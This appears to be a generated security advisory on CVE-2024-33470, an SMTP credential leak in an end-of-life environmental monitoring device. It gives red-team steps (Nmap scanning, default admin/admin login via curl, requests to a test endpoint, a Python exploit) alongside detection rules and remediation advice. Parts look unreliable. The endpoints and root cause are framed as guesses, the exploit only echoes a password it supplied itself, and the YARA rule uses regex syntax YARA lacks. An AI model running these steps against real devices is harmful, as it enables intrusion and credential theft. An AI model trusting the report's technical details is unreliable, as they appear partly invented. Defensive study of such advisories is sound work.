CVE-2024-33470

Executive Summary

CVE-2024-33470 exposes a critical credential disclosure vulnerability in the AVTECH Room Alert 4E environmental monitoring device, specifically within its SMTP Email Settings interface. An attacker with network access to the device’s web management interface can perform a passback attack, capturing SMTP credentials (username and password) in plaintext. This occurs because the device reflects submitted credentials back to the client in an unencrypted HTTP response during the SMTP configuration test process. The vulnerability is particularly severe because the affected product (firmware v4.4.0) is end-of-life (EOL) and no longer receives security patches, leaving all deployed units permanently vulnerable.

Key Risk: Compromise of SMTP credentials can lead to email account takeover, lateral movement into the organization’s email infrastructure, and potential phishing campaigns using legitimate internal accounts.

Supply Chain & Package Security

This vulnerability is not related to any software supply chain or package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded IoT device.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, a reasonable assessment based on the vulnerability characteristics is:

• Attack Vector (AV): Network (N) – The attacker must have network access to the device’s web interface.
• Attack Complexity (AC): Low (L) – The attack requires no special conditions; the SMTP test function is easily triggered.
• Privileges Required (PR): Low (L) – The attacker needs valid credentials for the device’s web interface (default credentials are often unchanged).
• User Interaction (UI): None (N) – No user interaction is required beyond the attacker’s actions.
• Scope (S): Changed (C) – The compromised SMTP credentials can be used against other systems (email server).
• Confidentiality (C): High (H) – SMTP credentials are fully disclosed.
• Integrity (I): Low (L) – The attacker could use the credentials to send emails, but cannot directly modify the device.
• Availability (A): None (N) – No impact on device availability.

Estimated CVSS Score: 8.5 (High)

Threat Level: High – Exploitation is trivial, and the impact extends beyond the device itself.

Deep Dive & Mechanics

The vulnerability resides in the SMTP Email Settings configuration page of the AVTECH Room Alert 4E web interface. When an administrator configures SMTP settings and clicks the “Test Email” button, the device sends a test email using the provided credentials. However, the HTTP response to the client includes the submitted credentials in plaintext within the HTML body or as a JavaScript variable. This is a classic “passback” vulnerability where the server echoes sensitive data back to the client without proper sanitization or encryption.

Attack Flow:

1. Attacker gains access to the Room Alert 4E web interface (e.g., via default credentials admin/admin or through network scanning).
2. Attacker navigates to the SMTP Email Settings page.
3. Attacker enters arbitrary SMTP server details (or uses the existing ones) and clicks “Test Email”.
4. The device sends a test email and returns a response page containing the SMTP username and password in plaintext.
5. Attacker extracts the credentials from the HTTP response.

Root Cause: The device does not mask or encrypt the SMTP password in the HTTP response. The password is likely stored in a configuration file and echoed back without any protection.

Vulnerable vs. Patched Code

Since the product is EOL and no patch exists, there is no patched code to compare. The vulnerable code is embedded in the firmware binary. A hypothetical fix would involve:

• Vulnerable: The SMTP test function returns the password in the HTTP response body.
• Patched: The SMTP test function would either mask the password (e.g., ****) or not include it in the response at all.

Example of vulnerable behavior (pseudo-code):

// Vulnerable: password is returned in response
function testSmtp(email, password) {
    let result = sendTestEmail(email, password);
    return { status: result, email: email, password: password };
}

Example of patched behavior (pseudo-code):

// Patched: password is masked
function testSmtp(email, password) {
    let result = sendTestEmail(email, password);
    return { status: result, email: email, password: "********" };
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Network access to the Room Alert 4E web interface (port 80 or 443).
• Valid credentials for the device (default: admin/admin).

Exploitation Steps:

1. Scan for devices: Use Shodan or Nmap to find Room Alert 4E devices.

   nmap -p 80,443 --script http-title 192.168.1.0/24 | grep -i "Room Alert"
   

2. Login to the web interface:

   curl -X POST http://192.168.1.100/login.cgi -d "username=admin&password=admin" -c cookies.txt
   

3. Navigate to SMTP settings and trigger test:

   curl -X POST http://192.168.1.100/smtp_test.cgi -b cookies.txt -d "smtp_server=smtp.example.com&smtp_port=587&smtp_user=attacker@example.com&smtp_pass=secret123"
   

4. Extract credentials from response:

   curl -s http://192.168.1.100/smtp_test.cgi -b cookies.txt | grep -oP 'smtp_pass["\s:=]+\K[^&"]+'
   

Automated Exploit (Python):

import requests

target = "http://192.168.1.100"
session = requests.Session()

# Login
login_data = {"username": "admin", "password": "admin"}
session.post(f"{target}/login.cgi", data=login_data)

# Trigger SMTP test
smtp_data = {
    "smtp_server": "smtp.example.com",
    "smtp_port": "587",
    "smtp_user": "test@example.com",
    "smtp_pass": "testpassword"
}
response = session.post(f"{target}/smtp_test.cgi", data=smtp_data)

# Extract password
if "smtp_pass" in response.text:
    print(f"Credentials leaked: {response.text}")

Blue Team (Defender)

Detection & Prevention:

1. Network Segmentation: Isolate Room Alert 4E devices on a separate VLAN with strict access controls.
2. Credential Rotation: If the device is still in use, change SMTP credentials immediately and monitor for unauthorized email activity.
3. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing smtp_pass in POST data or responses.
4. Log Monitoring: Monitor for unusual access to the SMTP test endpoint (/smtp_test.cgi).
5. Device Replacement: Since the product is EOL, the only permanent fix is to replace the device with a supported alternative.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /smtp_test.cgi with parameters smtp_user and smtp_pass.
• HTTP responses containing smtp_pass in plaintext.
• Outbound SMTP traffic from the Room Alert 4E device to external mail servers.

File IOCs:

• Configuration files on the device containing SMTP credentials (e.g., /etc/smtp.conf).

Behavioral IOCs:

• Unauthorized login attempts to the device’s web interface.
• Sudden increase in outbound email traffic from the organization’s mail server using the compromised SMTP account.

Detection Engineering

YARA Rule

rule CVE_2024_33470_SMTP_Credential_Leak
{
    meta:
        description = "Detects HTTP responses containing SMTP credentials in plaintext from AVTECH Room Alert 4E"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-33470"
    strings:
        $smtp_pass = /smtp_pass["\s:=]+\K[^&"]+/ nocase
        $smtp_user = /smtp_user["\s:=]+\K[^&"]+/ nocase
        $test_email = "Test Email" nocase
    condition:
        all of them
}

Sigma Rule

title: AVTECH Room Alert 4E SMTP Credential Leak
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP responses containing SMTP credentials in plaintext from AVTECH Room Alert 4E
author: Valters IT
date: 2025-04-10
tags:
    - attack.credential_access
    - cve.2024.33470
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/smtp_test.cgi'
        sc-status: 200
        response_body|contains: 'smtp_pass'
    condition: selection
falsepositives:
    - Legitimate SMTP configuration testing by authorized administrators
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-33470 AVTECH Room Alert 4E SMTP Credential Leak"; flow:to_server,established; content:"POST"; http_method; content:"/smtp_test.cgi"; http_uri; content:"smtp_pass"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the Room Alert 4E on a separate VLAN with no internet access.
2. Change SMTP credentials: If the device is still used, change the SMTP password and monitor for abuse.
3. Disable SMTP test functionality: If possible, block access to /smtp_test.cgi via a reverse proxy or firewall.

Long-Term Solution:

• Replace the device: Since AVTECH no longer supports the Room Alert 4E, migrate to a supported environmental monitoring solution (e.g., APC NetBotz, Sensaphone, or a modern IoT gateway with regular firmware updates).

Compensating Controls:

• Deploy a WAF to inspect and block sensitive data in HTTP responses.
• Implement network segmentation and strict access controls.
• Enable logging and alerting for any access to the SMTP test endpoint.

Report generated by Valters IT DevSecOps & CTI Framework
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